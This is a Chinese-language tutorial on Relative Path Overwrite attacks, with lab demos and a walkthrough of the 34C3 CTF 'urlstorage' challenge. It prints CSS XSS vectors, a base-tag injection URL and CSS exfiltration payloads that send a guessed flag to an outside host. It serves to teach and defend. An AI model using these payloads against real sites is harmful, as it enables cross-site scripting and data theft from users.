RPO攻擊技術淺析

xfkxfk發表於2018-04-11

什麼是RPO攻擊?

RPO(Relative Path Overwrite)相對路徑覆蓋,是一種新型攻擊技術,最早由Gareth
Heyes在其發表的文章中提出。主要是利用瀏覽器的一些特性和部分服務端的配置差異導致的漏洞,透過一些技巧,我們可以透過相對路徑來引入其他的資原始檔,以至於達成我們想要的目的。

 

就目前來看此攻擊方法依賴於瀏覽器和網路伺服器的反應,基於伺服器的Web快取技術和配置差異,以及伺服器和客戶端瀏覽器的解析差異,利用前端程式碼中載入的css/js的相對路徑來載入其他檔案,最終瀏覽器將伺服器返回的不是css/js的檔案當做css/js來解析,從而導致XSS,資訊洩露等漏洞產生。

技術分析

在分析RPO攻擊技術之前,首先我們得先了解幾個關於伺服器和客戶端瀏覽器在解析和識別上的差異性基礎知識。

 

第一個差異化:

 

在apache和Nginx環境下,正常情況訪問如下:

 

 

然後在Apache中將/編碼為%2f後,伺服器無法識別url,返回404,但是在Nginx中將/編碼為%2f後,伺服器可以識別編碼後的url,返回200:

 

 

可見不同web伺服器對url的識別是不一樣的。

 

第二個差異化:

 

在Nginx中,編碼後的url伺服器可以正常識別,也就是說伺服器在載入檔案時會解碼後找到具體檔案返回返回客戶端。

 

但是在客戶端識別url時是不會解碼的,正常情況下解碼%2f解碼後應該載入的是rpo/xxx/../x.js,最後也就是rpo/x.js檔案;而這裡載入的是/x.js,所以瀏覽器是沒有解碼%2f的。

 

 

實際上透過測試,客戶端瀏覽器在載入相對路徑檔案時是以最後一個/為相對目錄載入具體資原始檔的。

實戰解析

第一個場景:載入任意目錄下靜態資原始檔

 

我們看看下面一個測試環境:

 

/rpo/111/1.php檔案中透過相對路徑載入了上層目錄既/rpo/x.js和/rpo/x.sss檔案。

 

 

然後有一個/rpo/222/x.js檔案,x.js檔案中內容為alert(1)

 

 

問題:

 

如果/rpo/222/x.js檔案中的內容是我們可控的,但是有過濾不能寫入\<script\>等標籤內容,那麼如何利用此跨站漏洞呢?

 

有沒有辦法使1.php載入到其他目錄的靜態資原始檔,比如這裡讓1.php載入到/rpo/222/x.js檔案,這樣就可以直接執行js程式碼了。

 

比如我們輸入如下url:

 

/rpo/222/2.php%2f..%2f..%2f111/1.php

 

伺服器端識別為:

 

/rpo/222/2.php/../../111/1.php 實際上也就是/rpo/111/1.php

 

客戶端識別為:

 

/rpo/222/2.php%2f..%2f..%2f111/1.php,把2.php%2f..%2f..%2f111當成一個目錄,然後在載入靜態資原始檔時,比如這裡載入../x.js時,就會跳轉到上一級目錄222目錄下,最後載入的靜態檔案為/rpo/222/x.js。

 

此時成功載入到了其他目錄下的檔案。

 

 

載入靜態css檔案也是一樣的原理,比如這裡我們載入/rpo/222/x.css檔案,使返回的內容變成紅色。

 

第二個場景:將返回內容按靜態檔案解析

 

在很多使用了url_rewrite的php開發框架以及python
web框架中,經常使用相對路徑來載入靜態資原始檔,而且url都有一個特徵:

 

比如/rpo/user/id/1,這裡表示使用引數為id,值為1的內容訪問user介面;

 

比如/rpo/user.php/name/tester,這裡表示使用引數name,內容為tester的內容訪問user.php檔案等。

 

那麼下面我們看看,如果在這些情況下,使用相對路徑載入靜態資原始檔會有什麼問題發生呢?

 

現在有如下環境:

 

我們可以提交內容,然後內容會顯示到當前頁面,而且使用相對路徑載入靜態檔案style.css和script.js檔案,這兩個檔案原本內容為空,此時我們訪問:

 

http://127.0.0.1:8888/RPO_HACK/user/2

 

 

這裡表示使用2作為引數請求user介面,此時載入靜態檔案為:

 

http://127.0.0.1:8888/RPO_HACK/user/style.css

 

http://127.0.0.1:8888/RPO_HACK/user/script.js

 

然後我們提交一段css內容:

{} \* {color:red;}

當我們訪問:http://127.0.0.1:8888/RPO_HACK/user/2/xxx時:

 

 

這裡表示我們使用2/xxx作為引數訪問user介面,返回的內容和使用引數2訪問返回的內容相同。

 

但是瀏覽器客戶端認為2是目錄,然後載入的靜態檔案為:

 

http://127.0.0.1:8888/RPO_HACK/user/2/style.css

 

http://127.0.0.1:8888/RPO_HACK/user/2/script.js

 

所以此時載入靜態檔案返回的內容也是同使用引數2訪問時返回內容相同,但是此時瀏覽器認為這裡載入的是樣式檔案和指令碼檔案,從而將返回內容解析為css或者js,所以我們提交的css內容:

{}\* {color:red;}

成功解析為css,將頁面渲染成紅色。

 

TIPS1:

這裡用到了CSS解析器的一個特性:瀏覽器在解析CSS樣式時,會忽略非法的部分,直到找到正確的開始然後進行解析一直到結束。所以我們上面植入CSS程式碼,欺騙CSS解析器忽略之前不合法的語法內容,從而載入我們注入的CSS內容,最終頁面變成渲染後的紅色。

 

當然這裡除了可以使用CSS樣式之外,還可以輸入payload為CSS XSS向量,例如:

#header { background:url(javascript:alert('1'));}

{}\*{x:expression(alert(1))}

實戰演練

第三個場景:RPO+CSRF+XSS盜取資料

 

下面一個案例是一個CTF題,這裡我們不講CTF
writeup,我們看看這道題如何運用RPO+CSRF+XSS盜取資料的。

 

首先這裡可以新增url,然後可以檢視。當我們訪問:

 

http://11.11.11.11:31337/urlstorage

 

返回的內容是CSS渲染後的頁面,載入的CSS檔案為

 

http://11.11.11.11:31337/static/css/milligram.min.css,這裡是正常的CSS。

 

當我麼你訪問:

 

http://11.11.11.11:31337/urlstorage/123/123

 

返回的頁面沒有被渲染,此時載入的CSS檔案為

 

http://11.11.11.11:31337/urlstorage/123/static/css/milligram.min.css,這裡的內容不是正常的css檔案內容了,而是urlstorage返回的內容。

 

所以這裡證明存在RPO攻擊問題。

 

我們來驗證一下,在url這裡輸入:

{}\*{color:blue;}(使用BurpSuite傳送url=%0a{}%0a\*%0a{color:blue%3B}%0a內容)

然後在訪問 http://11.11.11.11:31337/urlstorage/123/123

 

此時你會發現你的CSS樣式被解析了,成功將頁面渲染為藍色,如下圖。

 

 

那麼這道題的目的是需要獲取admin後臺的flag,但是訪問flag頁面時需要token,所以我就必須獲取admin使用者的token。那麼如何獲取admin使用者後臺的資料呢?

 

一般情況下使用xss,csrf,ssrf等這些漏洞,那麼這裡的思路就是:

 

使用新增url功能的csrf漏洞,讓管理員admin新增我們構造的url,獲取token,然後使用xss功能修改靜態資源的載入根目錄,再利用RPO攻擊方法獲取flag並回傳資料。

 

TIPS2:

使用CSS外傳資料的話可以使用載入遠端檔案的辦法:

{} \@import url(‘http://x.x.x.x/yyy’);

或者使用載入背景的辦法:

{} body {background: url(http://x.x.x.x/yyy);}

 

TIPS3

還有另外一個技巧:

在瀏覽器處理相對路徑時,一般情況是獲取當前url的最後一個/前作為base
url,但是如果頁面中給出了base標籤,那麼就會讀取base標籤中的url作為base url。

 

那麼我們在flag頁面的token引數這裡使用xss漏洞傳入urlstorage/作為base標籤,那麼在載入靜態CSS檔案時仍然會載入urlstorage頁面內容,然後urlstorage頁面中的css就會被解析,使用CSS外帶資料的功能回傳資料,當然這裡需要一位一位的獲取暴利破解的方法獲取flag的內容,最後成功獲取admin後臺的flag完整內容。

 

比如下面我們驗證一下,使用上面的方法獲取自己的flag然後外傳。

 

我們輸入如下url內容:

%0a{}%0a\*%0a\#flag[value\^=\\33\\34\\43\\33]{background:
url(//11.11.11.11:8082/?flag=34c3)%3B}%0a

這裡的意思就是id為flag的標籤,他的value是不是以34C3開頭,如果是就把34C3作為引數傳送出去。

 

然後訪問如下url:

 

http://11.11.11.11:31337/flag?token=d31ecadc98a9f40d7105e218edb60a2f%3C/title%3E%3Cbase%20href=urlstorage/%3E

 

如下圖,成功外傳了34C3的內容。

 

 

具體的exp見:

 

https://github.com/eboda/34c3ctf/blob/master/urlstorage/exploit/exploit.php

參考連結

http://www.beesfun.com/2017/03/27/RPO%E6%94%BB%E5%87%BB/

 

http://www.thespanner.co.uk/2014/03/21/rpo/

 

https://lorexxar.cn/2018/01/02/34c3-writeup/#CSS-RPO

 

https://github.com/eboda/34c3ctf/tree/master/urlstorage

防護方案

在頁面中避免直接使用相對路徑進行靜態檔案的載入。

相關文章